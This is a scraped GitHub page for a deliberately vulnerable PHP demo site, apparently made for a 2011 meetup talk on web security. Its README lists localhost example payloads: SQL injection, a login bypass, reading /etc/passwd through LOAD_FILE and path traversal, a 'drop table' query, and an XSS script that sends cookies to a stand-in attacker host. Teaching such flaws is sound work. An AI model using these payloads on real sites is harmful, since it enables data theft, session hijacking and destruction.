yeyisan / php-sploits Goto Github PK
View Code? Open in Web Editor NEWThis project forked from jadz/php-sploits
PHP Site vulnerable to basic XSS/SQL Injection
This project forked from jadz/php-sploits
PHP Site vulnerable to basic XSS/SQL Injection
This sample code was used for the SydPHP February 2011 talk on website security. Props go out to @sydphp for hosting the talk and letting us talk. And my partner in crime @CerealBoy. This code has been developed in such a way that it is vulnerable to the most basic and common website security exploits. It's meant to contain all the bad practices. SQL Injection / XSS / Session Hijacking are all available through this codebase. Note: Some of these might not work if your database user doesn't have sufficient privileges. Steps: ------ 1. Load the db.sql file to your database. 2. Change the consts.php file to contain the username and password of database user. 3. Load your site. Examples: --------- SQL Injection: -------------- http://localhost/?username=jared'%20or%20'1'='1 http://localhost/?username=jared'%20or%20''=' http://localhost/index.php?id=1%20or%201=1 http://localhost/?id=1;drop%20table%20invoices -- doesn't work because mysql_query stacked query support -- but will work with other dbs http://localhost/index.php?username='%20UNION%20SELECT%201,1,1,1,LOAD_FILE('/etc/passwd'),'1 http://localhost/index.php?username='%20UNION%20SELECT%201,2,3,4,5,'hello%20world Bypass Login: Password: foo' or '1'='1 XSS: ---- http://localhost/index.php?username=jared%3Cscript%3Ealert('Hi%20there!')%3C/script%3E http://localhost/template?load=php://filter/convert.base64-encode/resource=loadme Use XSS to hijack a users session: ---------------------------------- On the 'Send message' page: Hey just wanted to say that you guys rock! <script> new Image().src="http://somereallybadsite.tld/?c="+encodeURI(document.cookie); </script> XSS to read files on disk: -------------------------- http://localhost/template.php?load=../../../../etc/passwd%00
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.